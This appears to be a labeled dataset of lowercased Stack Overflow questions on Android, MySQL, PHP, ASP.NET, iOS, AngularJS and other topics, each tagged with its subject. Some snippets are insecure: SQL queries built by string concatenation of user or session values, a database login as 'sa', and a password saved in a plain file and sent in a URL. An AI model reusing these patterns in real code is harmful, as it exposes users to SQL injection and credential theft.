<hr>  <h1>calling <code>httpurlconnection</code> s <code>disconnect</code></h1>   <a href= http://developer.android.com/reference/java/net/httpurlconnection.html  rel= noreferrer >http://developer.android.com/reference/java/net/httpurlconnection.html</a>   <pre><code>   url url = new url( http://www.android.com/ );    httpurlconnection urlconnection = (httpurlconnection) url.openconnection();    try {      inputstream in = new bufferedinputstream(urlconnection.getinputstream());      readstream(in);     finally {      urlconnection.disconnect();    }  } </code></pre>  <hr>   for <strong>resource leakage</strong> and <strong>performance consideration</strong> (need not to setup network connection from ground up  as my app will communicate with same server most of the time)  should we    <ol> <li>call <code>httpurlconnection</code> s <code>disconnect</code> only.</li> <li>call the <code>inputstream</code> s <code>close</code> only.</li> <li>call both <code>httpurlconnection</code> s <code>disconnect</code> &amp; <code>inputstream</code> s <code>close</code> (haven t seen such official example so far).</li> </ol>,android
howto have multiple spi implementations in one jar  assume i have one interface <code>com.example.marker</code> and i do have one implementation of this  eg <code>com.example.markerimpla</code>. to get one of them registered  i need to place a text file in <code>meta-inf/services/com.example.marker</code> looking like this   <pre><code>com.example.markerimpla </code></pre>   this works like a charme. now  i have another implementation in the same jar file  eg <code>com.example.markerimpl2</code>. how do i achieve the registration of the second one,java
return value of 0 from mysql query if empty  i use this query to get a value for a range of months. for example  january 1.10  february 2.37.   <pre><code> select sum(distributed_amount / exchange_rate) from royalties where date between   .$datemin.   and   .$datemax.   group by date  order by date asc  </code></pre>   is there a way to return a value of 0 if there are no rows within a certain month,mysql
sort hypen separated value in mysql varcharfield  how to sort a hyphen separated number in mysql varchar field. i have list of number in a field    <pre><code>700-657-1 700-657-10 700-657-2 700-657-3 700-657-4 </code></pre>,mysql
php/ get current url + conditional  i am not very good at php but i want to detect if a user is in the home of the website such as;   <pre><code>&lt; php if (current path = http://website.com/ || website.com) { &gt;  &lt;div&gt;we are in home&lt;/div&gt;  &lt; php } else {  &gt;  &lt;div&gt;do something&lt;/div&gt; &lt; php }  &gt; </code></pre>   someone help me please thanks,php
fulltext search with nordic letters (æ  ø  å)  my script works just fine when it comes to english letters  but i need to be able to search for æ  ø and å as well.   <pre><code>match(question.tags) against(  .$subject.   in natural language mode)  order by q_id desc </code></pre>   my database is using  latin1_swedish_ci  and i have included  $con->set_charset( utf8 )  in my connect file.    still can t search for anything with these letters.    any ideas     thanks.,mysql
getting an  undeclared type  mkmapview   error  added a map to the storyboard  added mapping capabilities to project and getting this error    nothing in google or stackoverflow,ios
how to call a web service on page load  i am trying to call a web service on page load. currently i call it on a button click and it works fine. but when i try to do the same on viewdidappear  it doesn t happen. what i want to achieve is if username and password are saved then it should automatically load the next page. it is filling in the text boxes but not loading the next page.    here is my code for submit button and viewdidappear:   <pre><code>-(ibaction)submitbutton{ [apd showcoverview:yes withactivityindicator:yes]; placewebservice *handler = [[placewebservice alloc]init]; [handler setrequesttype:loginparser]; nsstring *url = [nsstring stringwithformat:@ http://www.mywebsite.com/api.php command=auth&amp;cardno=%@&amp;password=%@  username.text password.text]; [handler sendingloginrequest:url respond:self at:@selector(showparsed:)];     } </code></pre>   and for viewdidappear   <pre><code>-(void)viewdidappear:(bool)animated  { nslog(@ appeared ); [self loginarea]; apd=[[uiapplication sharedapplication]delegate]; nsstring *filepath=[self pathoffile]; if([[nsfilemanager defaultmanager]fileexistsatpath:filepath]) {     nsarray *array=[[nsarray alloc]initwithcontentsoffile:filepath];     username.text=[array objectatindex:0];     password.text=[array objectatindex:1];             [self submitbutton]; } } </code></pre>   what should i do  please help...,iphone
angular - ng-change not firing upon select change  <a href= http://jsfiddle.net/36qp9ekl/509/  rel= nofollow >please see this relevant jsfiddle</a>    within the code i am trying to fire a method when a different option is selected to alert the user. however no event is being trigged    html:   <pre><code>&lt;div ng-controller =  myctrl &gt;  &lt;p&gt;term&lt;/p&gt;   &lt;select id =  term  ng-change= test() &gt;     &lt;option value= 5 &gt;5&lt;/option&gt;     &lt;option value= 10 &gt;10&lt;/option&gt;     &lt;option value= 15 &gt;15&lt;/option&gt;   &lt;/select&gt;         &lt;/div&gt; </code></pre>   js:   <pre><code>var app = angular.module( helloapp   []);  app.controller( myctrl  [ $scope   $element   function($scope  $element) {      $scope.test = function () {      alert ( changed! );        }   }]); </code></pre>,angularjs
insert plain html into template  i use angularjs 1.4 and i need to insert plain html which i receive from $http.get() into my template as html tags like jquery inserts plain html into dom as tags.    conroller code:   <pre><code>var onloadurl = function( data ){      $scope.joomlacomponent = data;  }  joomlacomponent.loadurl( $location.absurl()  true ).then( onloadurl ); </code></pre>   template:   <pre><code>&lt;script type= text/ng-template  id= joomla-component.tpl &gt;     &lt;div class= uk-grid uk-margin-large &gt;         {{joomlacomponent}}     &lt;/div&gt; &lt;/script&gt; </code></pre>   now it insert it as plain text but i need to have it like html tags inserted into a document s dom.,angularjs
default underlying storage size of stack<t>  i know that the <code>stack&lt;t&gt;</code> s underlying storage is <code>t[]</code>  but what is it s default size,c#
is it possible for a view of a rails application to have a controller from another application   we have 2 rails applications. one returns json from the database  the other is a client that uses the first application as data access. however  it is too slow. so we are looking for alternatives. in the future  there will be other clients that will use the application that returns json that s why we separated it.    it sounds crazy but i want to know if it possible for a view of a rails application to have a controller from another application,ruby-on-rails
"function inside function; variable changing unwantedly  why  (javascript)  so i just started writing few lines of code a few days ago  and i wanted to make a calculator with the knowledge i gained so far but for a reason i don’t know  after calling <code>calculationfn()</code> inside <code>recalfn()</code> i see that the variables of <code>num2</code> and <code>act</code> change. why is that and how can i fix it  //why does the variable of <code>num2</code> change to undefined after going inside <code>recalfn()</code> i know there are better ways to make a calculator but this is i guess my edition. if you suggest any thing please say  i do appreciate. (and sorry for my english). thank you for reading.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>//input start
 var num1 = prompt( num1 );
 if ( ( num1 &lt;= 0 ) || ( num1 &gt; 0 ) ) {
 
   var act = prompt( action );
   if ( (act ==  + ) || (act ==  - ) || (act ==  * ) || (act ==  / ) ||
   (act ==  % ) ) {
 
     var num2 = prompt( num2 );
     if ( ( num2 &lt;= 0 ) || ( num2 &gt; 0 ) ) {
 //input end
 
 //calculator start
 
 function calculationfn () {
 
 alert(num1); alert(act); alert(num2);
 
   switch ( act ) {
 
         case  + :
            num1 = +num1 + +num2;
             recalfn ();
             break;
 
         case  - :
            num1 = +num1 - +num2;
             recalfn ();
             break;
 
         case  * :
            num1 = +num1 * +num2;
             recalfn ();
             break;
 
         case  / :
            if ( ( act ==  /  ) &amp;&amp; ( num2 == 0) )
            { alert( error: undifiend ); } else {
             num1 = +num1 / +num2; }
              recalfn ();
             break;
 
         case  % :
            num1 = +num1 * +num2 /100;
             recalfn ();
             break;
 
           }
 
        }
 
 //.............................
 
        function recalfn () {
 
          var act = prompt(    + num1 +  \n new action );
          if ( (act ==  + ) || (act ==  - ) || (act ==  * ) || (act ==  / ) ||
          (act ==  % ) ) {
            
 // num2 = undifined  why ...................
 alert(num1); alert(act); alert(num2);
 
            var num2 = prompt( anynum );
            if ( ( num2 &lt;= 0 ) || ( num2 &gt; 0 ) ) {
 
 alert(num1); alert(act); alert(num2);
 
      calculationfn ();
 
            } else { alert( error: no valid action ); }
 
          } else { alert( error: no valid value ); }
        }
 
 calculationfn ();
 
 //calculator end
 
 //error start
     } else { alert( error: no valid value ); }
   } else { alert( error: no valid action ); }
 } else { alert( error: no valid value ); }
 //error end</code></pre>
 </div>
 </div>",javascript
android create an activity that float over lockscreen  i want to create an activity that float over the lock screen and do something with it  i think there is an order in which every app will appear one over another  but i don t know how. so i want to have both keyguard(will be always enable) and activity showing  so if the activity will have an transluscent theme(invisible background)  the keyguard will be visible behind.    there is a way to create an activity that float over the lock screen  thanks.    i tried this: <a href= https://stackoverflow.com/questions/3629179/android-activity-over-default-lock-screen >android activity over default lock screen</a>  and similar solutions but with no luck.,android
why the session is out unexpectedly in asp.net   i have a asp.net website  which use mvc 1.0 framework  but i found sometimes it will lost the current session unexpectedly  but i can not find the cause of this problem .    do anyone have any suggestions   or tell me how can find the reason of this issue     thanks in advance !,asp.net
special sql query build  i need to retrieve from database list of manufacturers (table producenci)  but only from particular products category. actual query looks like this  but it returns 0 records. if i remove where  it returns whole table producenci.    <pre><code>select distinct ( pr.id )  pr.nazwa from producenci pr left join produkty on pr.id = produkty.producenci_id left join przyporzadkowania prz on produkty.id = prz.produkty_id left join kategorie k on k.id = prz.kategorie_id where prz.produkty_id = pr.id and prz.kategorie_id =  16  order by pr.nazwa </code></pre>   important tables fields:    producenci - id int  name varchar    przyporzadkowania - id int  kategorie_id int  subkategorie_id int  sub_subkategorie_id int  produkty_id int    kategorie - id int  nazwa varchar    produkty - id int  nazwa varchar    any ideas  thanks,sql
how to integrate bhoositukra with .net   how to integrate bhoositukra with .net,.net
reading a file line by line and extract values  i need to do a routine that is able to extract values from a file and send these values to a mysql database.     however my routine is returning some  imo  odd results.    this is my code:   <pre><code>$file = new splfileobject($file_name); for($i = 1 ; $i &lt;= 5 ; $i++) //while (!$file-&gt;eof()) {     $linha = $file-&gt;fgets();     echo $linha. &lt;br&gt; ;     $line = explode(     $linha);     print_r($line);     echo  &lt;br &gt;; } $file = null; </code></pre>   i used to have a while loop to run the whole file  but was getting an error and then decided to do a for loop to have a smaller number of results.    the results i get are:   <pre><code>1 1412114400 100 20 10 2 1 80 15 8 1.5 true 20 5   array ( [0] =&gt; 1 [1] =&gt; 1412114400 [2] =&gt; 100 [3] =&gt; 20 [4] =&gt; 10 [5] =&gt; 2 [6] =&gt; 1 [7] =&gt; 80 [8] =&gt; 15 [9] =&gt; 8 [10] =&gt; 1.5 [11] =&gt; true [12] =&gt; 20 [13] =&gt; 5 )   array ( [0] =&gt; )   2 1412114460 100 20 10 2 1 80 15 8 1.5 true 20 5   array ( [0] =&gt; 2 [1] =&gt; 1412114460 [2] =&gt; 100 [3] =&gt; 20 [4] =&gt; 10 [5] =&gt; 2 [6] =&gt; 1 [7] =&gt; 80 [8] =&gt; 15 [9] =&gt; 8 [10] =&gt; 1.5 [11] =&gt; true [12] =&gt; 20 [13] =&gt; 5 )   array ( [0] =&gt; )   3 1412114520 100 20 10 2 1 80 15 8 1.5 true 20 5   array ( [0] =&gt; 3 [1] =&gt; 1412114520 [2] =&gt; 100 [3] =&gt; 20 [4] =&gt; 10 [5] =&gt; 2 [6] =&gt; 1 [7] =&gt; 80 [8] =&gt; 15 [9] =&gt; 8 [10] =&gt; 1.5 [11] =&gt; true [12] =&gt; 20 [13] =&gt; 5 )  </code></pre>   it seems that for every other cicle the <code>fgets()</code> function returns a  \n\r  and i don t know how to get rid of it.    edit:    i ve used <code>trim()</code> and <code>str_replace()</code> and got the same result  so maybe i m not getting a  \n\r .,php
is it required to have apple os x macintosh to deploy iphone app through app store   if i use third party package like phonegap and titanium that allows you to develop native iphone app using plain javascript  css and html without using any object-c  am i still required by apple to use apple mac os x computer to actually deploy and go through apple approval process of finished iphone app  also the same question if i want to deploy iphone app under development to my own iphone for testing,iphone
extract variables of same name from url using php  i am trying to get values using <code>$_get</code> from url. i ve used this method to extract variable values when variable names are different. but now in this case variable names are same.    <a href= http://example.com/filter.php tags=name1&amp;tags=name2&amp;tags=name3  rel= nofollow >http://example.com/filter.php tags=name1&amp;tags=name2&amp;tags=name3</a>,php
complicated declaration expression qustion  i have this expression    int *(*foo())[30]   <blockquote>    is foo a function (which receive no arguments) and returns a pointer to an array (size 30) of pointers of integers    </blockquote>,c
could not load file or assembly system.enterpriseservices  i m trying to read up on asp.net mvc  i have never used asp.net before but are familiar with regular c# development. <br>    freshly installed  fully patched windows xp home.<br> freshly installed updated to sp1 visual studio 2008 pro.<br>   started a new project  selected  asp.net mvc web application   target framework is 3.5    i hit f5 and i get:<br>    could not load file or assembly system.enterpriseservices     exact wording in swedish:   <pre><code>[filenotfoundexception: det går inte att hitta filen. (undantag från hresult: 0x80070002)] [filenotfoundexception: det går inte att läsa in filen eller sammansättningen system.enterpriseservices  version=2.0.0.0  culture=neutral  publickeytoken=b03f5f7f11d50a3a eller ett av dess beroenden. det går inte att hitta filen.] </code></pre>   adding a reference to system.enterpriseservices in my project did not work.<br> a quick google suggested i copy this file <em>microsoft.net/framework/v2.0.50727/system.enterpriseservices.dll</em> into %windows%/assembly but that did not work either.    any suggestions     found the answer  i added it to the gac with gacutil.    c:\windows> c:\program\microsoft sdks\windows\v6.0a\bin\gacutil.exe  /i  microsoft.net/framework/v2.0.50727/system.enterpriseservices.dll,asp.net
css select all elements except h1  is it possible to do with css something like this:    css:   <pre><code>#right div.item-page  #right .newsflashlatest_news {     padding: 0 133px 0 50px;     text-align: justify; }  #right .item-page h1  #right .newsflashlatest_news h1 {     padding: 0 !important; }  #right {     float: left;     width: 755px; } </code></pre>   html:   <pre><code>&lt;div id= right &gt; fsfds  &lt;div class= item-page  style= background: blue; &gt; &lt;h1&gt;home&lt;/h1&gt; &lt;p&gt;pri iisque malorum ei  est te suavitate mediocritatem  facer molestie explicari vix ne. &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   i need to apply the rules above to all elements in div.itemp-page except h1 element. basically this means that all elements would have padding except h1 element.     simply adding  #right div.item-page h1  somehow doesn t work for my case (see here: <a href= http://jsfiddle.net/pr47m/  rel= nofollow >http://jsfiddle.net/pr47m/</a>),css
how to place this text in html   in the following screenshot  i would like to add a href which re-directs to a particular link between the <code>refresh</code> button and the <code>need help </code> button  however  when i use <code>&lt;span&gt;</code>  it doesn t work. it places it in the next line. how can i do it     the html code for the screenshot is as follows:   <pre><code>&lt;div class= modal-header &gt;     &lt;h3 class= modal-title  id= modal-title &gt;deployment {{ctrl.ecsdeploymentdetails.number}} details         &lt;a type= button  class= btn  ng-click= ctrl.refresh()  title= refresh events &gt;             &lt;span class= glyphicon glyphicon-refresh  ng-class= { glyphicon-spin : ctrl.loading} /&gt;         &lt;/a&gt;         &lt;!--&lt;h6&gt;&lt;span class= well-small &gt;&lt;p&gt;please refer&lt;/p&gt;&lt;/span&gt;&lt;/h6&gt;--&gt;         &lt;button type= button  class= btn btn-primary  style= float: right                  ng-if= ctrl.supportrequired &amp;&amp; ctrl.ecsdeploymentdetails.state ===  failed   &amp;&amp;                 ng-click=ctrl.createalert()&gt;             need help          &lt;/button&gt;     &lt;/h3&gt; &lt;/div&gt; </code></pre>,html
how to convert slider value to textbox  i m new in c# and i want to convert value of slider to textbox. one option i found is set binding for text box  but i need send value in event. i tried some solutions  but not worked.   <pre><code>private void slidername_valuechanged(object sender  routedpropertychangedeventargs&lt;double&gt; e)     {         slider slidername = sender as slider;         textbox textboxname = new textbox();          textboxname.text = slidername.value.tostring();      } </code></pre>   thanks for helping and be patient with me. :),c#
how do i retain values from pages in asp.net  i need help with  retaining  values from one page to another example i answered the first page and proceed to the 2nd if i click  previous page  how can i keep my answers there.    below are my codes:    <pre><code>   protected void button1_click(object sender  eventargs e)     {          //string sesrbl1;          string selectedvalue = radiobuttonlist2.selectedvalue.tostring();         string selectedvalue2 = radiobuttonlist4.selectedvalue.tostring();         string selectedvalue3 = radiobuttonlist6.selectedvalue.tostring();         string selectedvalue4 = radiobuttonlist8.selectedvalue.tostring();         string selectedvalue5 = radiobuttonlist14.selectedvalue.tostring();         string selectedvalue6 = radiobuttonlist11.selectedvalue.tostring();          bool risk;      sqlcommand cmd = new sqlcommand();      sqlconnection sqlcon = new sqlconnection( data source=dbase;initial catalog=tumorregistry;user id=sa );      try             {                 //session[ rb1 ] = radiobuttonlist12.selectedvalue;                 //session[ rb2 ] = radiobuttonlist3.selectedvalue;                 //session[ rb3 ] = radiobuttonlist5.selectedvalue;                 //session[ rb4 ] = radiobuttonlist7.selectedvalue;                 //session[ rb5 ] = radiobuttonlist13.selectedvalue;                      if (radiobuttonlist12.selecteditem.text==  false )                 {                     if (bool.tryparse( false   out risk))                     {                         risk = false;                           session[ rb1 ] = risk;                      }                  }                 if (radiobuttonlist12.selecteditem.text ==  true )                 {                     if (bool.tryparse(radiobuttonlist12.selecteditem.text  out risk))                     {                         risk = true;                         session[ rb1 ] = risk;                     }                 }                 if (radiobuttonlist3.selecteditem.text ==  false )                 {                     if (bool.tryparse(radiobuttonlist3.selecteditem.text  out risk))                     {                         risk = false;                          session[ rb2 ] = risk;                     }                 }                 if (radiobuttonlist3.selecteditem.text==  true )                 {                     if (bool.tryparse(radiobuttonlist3.selecteditem.text  out risk))                     {                         risk = true;                         session[ rb2 ] = risk;                     }                 }                 if (radiobuttonlist5.selecteditem.text ==  false )                 {                     if (bool.tryparse(radiobuttonlist5.selecteditem.text  out risk))                     {                         risk = false;                          session[ rb3 ] = risk;                     }                 }                 if (radiobuttonlist5.selecteditem.text ==  true )                 {                     if (bool.tryparse(radiobuttonlist5.selecteditem.text  out risk))                     {                         risk = true;                          session[ rb3 ] = risk;                     }                 }                 if (radiobuttonlist7.selecteditem.text ==  false )                 {                     if (bool.tryparse(radiobuttonlist7.selecteditem.text  out risk))                     {                         risk = false;                          session[ rb4 ] = risk;                     }                 }                 if (radiobuttonlist7.selecteditem.text ==  true )                 {                     if (bool.tryparse(radiobuttonlist7.selecteditem.text  out risk))                     {                         risk = true;                           session[ rb4 ] = risk;                     }                 }                 if (radiobuttonlist13.selecteditem.text ==  false )                 {                     if (bool.tryparse(radiobuttonlist13.selecteditem.text  out risk))                     {                         risk = false;                          session[ rb5 ] = risk;                     }                 }                 if (radiobuttonlist13.selecteditem.text ==  true )                 {                     if (bool.tryparse(radiobuttonlist13.selecteditem.text  out risk))                     {                         risk = true;                          session[ rb5 ] = risk;                     }                 }                    if (selectedvalue.tostring() ==  0 )                 {                      selectedvalue = null;                 }                 else if (selectedvalue2.tostring() ==  0 )                 {                     selectedvalue2 = null;                 }                 else if (selectedvalue3.tostring() ==  0 )                 {                     selectedvalue3 = null;                 }                 else if (selectedvalue4.tostring() ==  0 )                 {                     selectedvalue4 = null;                 }                 else if (selectedvalue5.tostring() ==  0 )                 {                     selectedvalue6 = null;                 }                    //session[ rb1 ] = radiobuttonlist12.selectedvalue;                 //session[ rb2 ] = radiobuttonlist3.selectedvalue;                 //session[ rb3 ] = radiobuttonlist5.selectedvalue;                 //session[ rb4 ] = radiobuttonlist7.selectedvalue;                 //session[ rb5 ] = radiobuttonlist13.selectedvalue;            //sending values to the submit button next page                  session[ holdtextbox1 ] = radiobuttonlist2.selectedvalue.tostring();                 session[ holdtextbox2 ] = radiobuttonlist4.selectedvalue.tostring();                 session[ holdtextbox3 ] = radiobuttonlist6.selectedvalue.tostring();                 session[ holdtextbox4 ] = radiobuttonlist8.selectedvalue.tostring();                 session[ holdtextbox5 ] = radiobuttonlist14.selectedvalue.tostring();                 session[ holdtextbox6 ] = radiobuttonlist11.selectedvalue.tostring();                    selectedvalue = session[ holdtextbox1 ].tostring();                 selectedvalue2 = session[ holdtextbox2 ].tostring();                 selectedvalue3 = session[ holdtextbox3 ].tostring();                 selectedvalue4 = session[ holdtextbox4 ].tostring();                 selectedvalue5 = session[ holdtextbox5 ].tostring();                 selectedvalue6 = session[ holdtextbox6 ].tostring();                           response.redirect( webform1.aspx );                   }                 catch (exception ex)             {                 response.write(ex.message);             }  </code></pre>   that s for the first page     here s for the 2nd page i have 2 buttons button 1  and 2     <pre><code>        protected void button1_click(object sender  eventargs e)     {        response.redirect( default.aspx );         ////button1.attributes.add( onclick    javascript:history.back(); return false; );         //   response.redirect( default.aspx );     }            public void saverecord()         {             try             {                 holdtextbox1.text = session[ holdtextbox1 ].tostring();                 holdtextbox2.text = session[ holdtextbox2 ].tostring();                 holdtextbox3.text = session[ holdtextbox3 ].tostring();                 holdtextbox4.text = session[ holdtextbox4 ].tostring();                 holdtextbox5.text = session[ holdtextbox5 ].tostring();                 holdtextbox6.text = session[ holdtextbox6 ].tostring();                 sqlcon.open();                 sqlcommand cmd = new sqlcommand();                 cmd.commandtype = commandtype.storedprocedure;                 cmd.connection = sqlcon;                 sqldataadapter da = new sqldataadapter();                  // string sqlinsert =  insert into tbtrcbase (hpn ish  asthma  dm  otherco hpntreatment  ishtreatment asthmatreatment  dmtreatment  othercotreatment secondhandsmoke smoker  stopsmoking   occupation   cancerfamilyhistory  familywithcancer parentwithcancer) values (   + bitsess.text +       + bitsess2.text +       + bitsess3.text +       + bitsess4.text +       + bitsess5.text +       + holdtextbox1.text +       + holdtextbox2.text +       + holdtextbox3.text +       + holdtextbox4.text +       + holdtextbox5.text +       + holdtextbox6.text +       + rb1.selectedvalue.tostring() +       + rb2.selectedvalue.tostring() +       + cb1.text +       + rb3.text +       + cb2.text +       + rb4.text +   ) ;                     string sqlinsert =  insert into tbtrcbase (hpn ish  asthma  dm  otherco hpntreatment  ishtreatment asthmatreatment  dmtreatment  othercotreatment secondhandsmoke smoker  stopsmoking   occupation   cancerfamilyhistory  familywithcancer parentwithcancer) values (   + session[ rb1 ] +       + session[ rb2 ] +       + session[ rb3 ] +       + session[ rb4 ] +       + session[ rb5 ] +       + holdtextbox1.text +       + holdtextbox2.text +       + holdtextbox3.text +       + holdtextbox4.text +       + holdtextbox5.text +       + holdtextbox6.text +       + rb1.selectedvalue.tostring() +       + rb2.selectedvalue.tostring() +       + cb1.text +       + rb3.text +       + cb2.text +       + rb4.text +   ) ;                 //   string sqlinsert =  insert into tbtrcbase (hpn  hpntreatment) values (   + session[ rb1 ] +       + holdtextbox1.text +   ) ;                    da = new sqldataadapter(sqlinsert  sqlcon);                 datatable dt = new datatable();                 da.fill(dt);                 sqlcon.close();                 response.write( &lt;script language= javascript &gt;alert(   +   data has been saved   +   )&lt;/script&gt; );             }             catch (exception e)             {                   response.write( &lt;script language= javascript &gt;alert(   + e.message +   )&lt;/script&gt; );             }     } </code></pre>,asp.net
is there any software made by microsoft using .net   i ve been reading some blogs and articles lately and one thing i noticed a couple of times was authors stating that microsoft  doesn t use their own technologies  with respect to developing applications using the .net framework (specifically  desktop applications).    there s not a whole lot of information that i can see as to what platforms their products are developed with. i had heard that media center has some .net code  but not 100%  likewise with sql server management studio.    so the question i ask is  does anyone know of any software  made by microsoft that is 100% .net code     <em>edit</em> i get that there s plenty of apps that have plenty of legacy code  and that re-writing those apps in .net would be ludicrous. to that end  i m not asking if re-writing apps in a new framework is a good idea  so let s not get off topic.    there s been plenty of new software written by ms in the 8+ years since .net was released. i d like to know if any of them were written entirely using .net.,.net
restart python script  i have a script that collects data from the streaming api. i m getting an error at random that i believe it s coming from twitter s end for whatever reason. it doesn t happen at specific time  i ve been seen it as early as 10 minutes after running my script  and other times after 2 hours.    my question is how do i create another script (outside the running one) that can catch if it terminated with an error  then restart after a delay.    i did some searching and most were related to using bash on linux  i m on windows. other suggestions were to use windows task scheduler but that can only be set for a known time.    i came across the following code:   <pre><code>import os  sys  time  def main():       print  autores is starting      executable = sys.executable     args = sys.argv[:]     args.insert(0  sys.executable)      time.sleep(1)     print  respawning      os.execvp(executable  args)  if __name__ ==  __main__ :       main() </code></pre>   if i m not mistaken that runs inside the code correct  issue with that is my script is currently collecting data and i can t terminate to edit.,python
ios8 - how to show the default share sheet  i want to present and use the default  share to other service  sheet in order to allow sharing to twitter  facebook  email  etc.    i can t figure out how to show this view from my app - how can i do that,ios
change module path in python  i have a project like that :   <pre><code>foo/     | main.py     | bar/     | | __init__.py     | | module1.py     | | module2.py </code></pre>   and i import module1.py in main.py by <code>import bar.module1</code>. but i need rewrite bar s function and keep old code. so i change project like that:   <pre><code>foo/ | main.py | bar/ | | __init__.py | | oldbar/ | | | module1.py | | | module2.py | | | __init__.py | | newbar/ | | | module1.py | | | module2.py | | | __init__.py </code></pre>   now  i do not want to change main.py  and i still use <code>import bar.module1</code> in main.py. can i do it  add some code into <code>bar/__init__.py</code>,python
how to code the path in the <img> tag  the image does not show up. i have used mac s  get info  to see the path.     how do i specify the path in the <code>&lt;img&gt;</code> tag  this is what i have tried:   <pre><code>&lt;img class= logo  alt= help me        src= ../../cgt136as/week-07hw/website/images/standout.jpeg /&gt; &lt;img class= logo  alt= help me        src= users/janedoe/cgt136as/week-07hw/website/images/standout.jpeg  /&gt; &lt;img class= logo  alt= help me       src= ~/cgt136as/week-07hw/website/images/standout.jpeg   /&gt; &lt;img class= logo  alt= help me       src= file:///users/janedoe/cgt136as/week-07hw/website/images/standout.jpeg  /&gt; </code></pre>   i m using macbook pro (bought in march 2013)  safari is version 6.0.5  os x 10.8.5.,html
where do i find the latest source code of objective-c 2.0 runtime   well i guess at <a href= http://www.opensource.apple.com/source/objc4/  rel= nofollow noreferrer >http://www.opensource.apple.com/source/objc4/</a> but where exactly  objc4 doesn t sound much like objective-c 2.0.,objective-c
"make image in table only take up needed space  when i create a html table like shown below  the image will take up more space than it needs. is there a way to prevent that     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>td {
   border: 1px solid black;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table style= border-collapse: collapse &gt;
   &lt;tr&gt;
     &lt;td&gt;test&lt;/td&gt;
     &lt;td&gt;&lt;img src= https://picsum.photos/1499/1000  width= 10% &gt;&lt;/td&gt;
     &lt;td&gt;text&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",html
how to find an array object according to given information   i have an array in angularjs controller like this:   <pre><code>$scope.persons = [{name: joey   age: 27 } {name: lucy   age: 22 }] </code></pre>   i have got a name  lucy   how can i get the age of the name in the controller (not in html),angularjs
having trouble with defining login method  i m trying to define my sign ing button but even i return false after wrong username but the view goes to the next view anyway !!! here is my code:   <pre><code>-(ibaction)login:(id)sender{     nserror *error = nil;     nsdictionary *info =[nsdictionary dictionarywithobjectsandkeys: _user.text  @ username  _password.text  @ password  nil];     nsdata* jsondata = [nsjsonserialization datawithjsonobject:info options:nsjsonwritingprettyprinted error:&amp;error];     nsstring *json = [[nsstring alloc] initwithdata:jsondata                                            encoding:nsutf8stringencoding];     nslog(@ %@   json);      if ([[info objectforkey:@ username ] isequaltostring:@  ] || [[info objectforkey:@ password ] isequaltostring:@  ]) {         nslog(@ empty );         [self dismissviewcontrolleranimated:yes completion:nil];     }     nsurl *url = [nsurl urlwithstring:@ http://s517345401.onlinehome.us/login.php ];     nsmutableurlrequest *urlrequest = [nsmutableurlrequest requestwithurl:url];     [urlrequest sethttpbody:jsondata];     [urlrequest setvalue:@ application/json; charset=utf-8  forhttpheaderfield:@ content-type ];     [urlrequest sethttpmethod:@ post ];      nsurlconnection *myconnection = [nsurlconnection connectionwithrequest:urlrequest delegate:self];     [myconnection start];  } </code></pre>   and also:   <pre><code>- (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data{     nslog([[nsstring alloc] initwithdata:data encoding:nsutf8stringencoding]);    nsstring *result = [[nsstring alloc] initwithdata:data encoding:nsutf8stringencoding];      if ([result isequaltostring:@ true ]) {          newpostviewcontroller *npv = [self.storyboard instantiateviewcontrollerwithidentifier:@ loginview ];         [self presentviewcontroller: npv animated:yes completion:nil];     }     else{         [self showalarm];     }      [activityview stopanimating]; } </code></pre>   would some one tell me what should i do more,ios
custom navigation drawer with activity   i have the following template for make custom list views in activity.     how i can use this template to set the <code>listviews</code> inside <code>navigationdrawer</code> element of android     is it possible to inflate <code>navigationdrawer</code> with an activity    <pre><code>public class mainactivity extends listactivity {  context context;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.mainlist);      context = this;      checkboxlistadapter adapter = new checkboxlistadapter(getlayoutinflater());     this.getlistview().setadapter(adapter);      this.getlistview().setonitemclicklistener(new onitemclicklistener() {             public void onitemclick(adapterview&lt; &gt; parent  view view                      int position  long id) {                  if(position == 0)                 {                      }                                  };         });  }   public class checkboxlistadapter extends baseadapter implements onclicklistener {      private layoutinflater inflator;      public checkboxlistadapter(layoutinflater inflator) {         super();         this.inflator = inflator;      }      public void onclick(dialoginterface dialog  int which) {      }      public view getview(int position  view view  viewgroup parent) {          if(position == 0)         {          }else if(position == 1)         {                             }         else if(position == 2)         {          }           return view;     }      public int getcount() {          return 3;     }      public object getitem(int position) {          return null;     }     public long getitemid(int position) {          return position;     }  } </code></pre>   },android
some transact-sql queries  i need help on some sql select statements.    i have 4 tables:    <pre><code>product(productid  name  dateofbirth) customer(customerid  name) comment(commentid  customerid  productid  status) </code></pre>  <ol> <li>select the products which have not received any comments.</li> <li>display the customer with the highest number of comments. for example: cusname - tom  comment - 3</li> <li>display all customers with their age  and an additional column which has the value of  old  for those who are more than 20 years olds  and  young  for the others.</li> <li>display the status column of comment table as  enabled  for 1 and  disabled  for 0.</li> </ol>   any help is appreciated.,sql
how to get a timeline of posts of only people someone follows  i m trying to do something like instagram where you can see images of people you only follow. a user can follow another user and create new posts.     this is what i have for following and unfollowing in my users controller.   <pre><code>def following   @user = user.find(params[:id])   current_user.mark_as_following @user    respond_to do |format|     format.html {redirect_to @user}     format.js   end end  def unfollow   @user = user.find(params[:id])   @user.unmark :following  :by =&gt; current_user    respond_to do |format|     format.html {redirect_to @user}     format.js   end end </code></pre>   here is my my posts controller    <pre><code>class postscontroller &lt; applicationcontroller    load_and_authorize_resource     def show       @post = post.find(params[:id])    end     def new       @post = post.new    end     def create        @post.user_id = current_user.id        if @post.save           redirect_to @post        else           render :new        end    end     def edit        @post = post.find(params[:id])    end     def update        @post = post.find(params[:id])        if @post.update_attributes(update_params)            redirect_to @post        else            render :edit        end    end     private        def update_params            params.require(:post).permit(:caption  :image)        end         def create_params            params.require(:post).permit(:caption  :user_id  :image)        end  end </code></pre>,ruby-on-rails
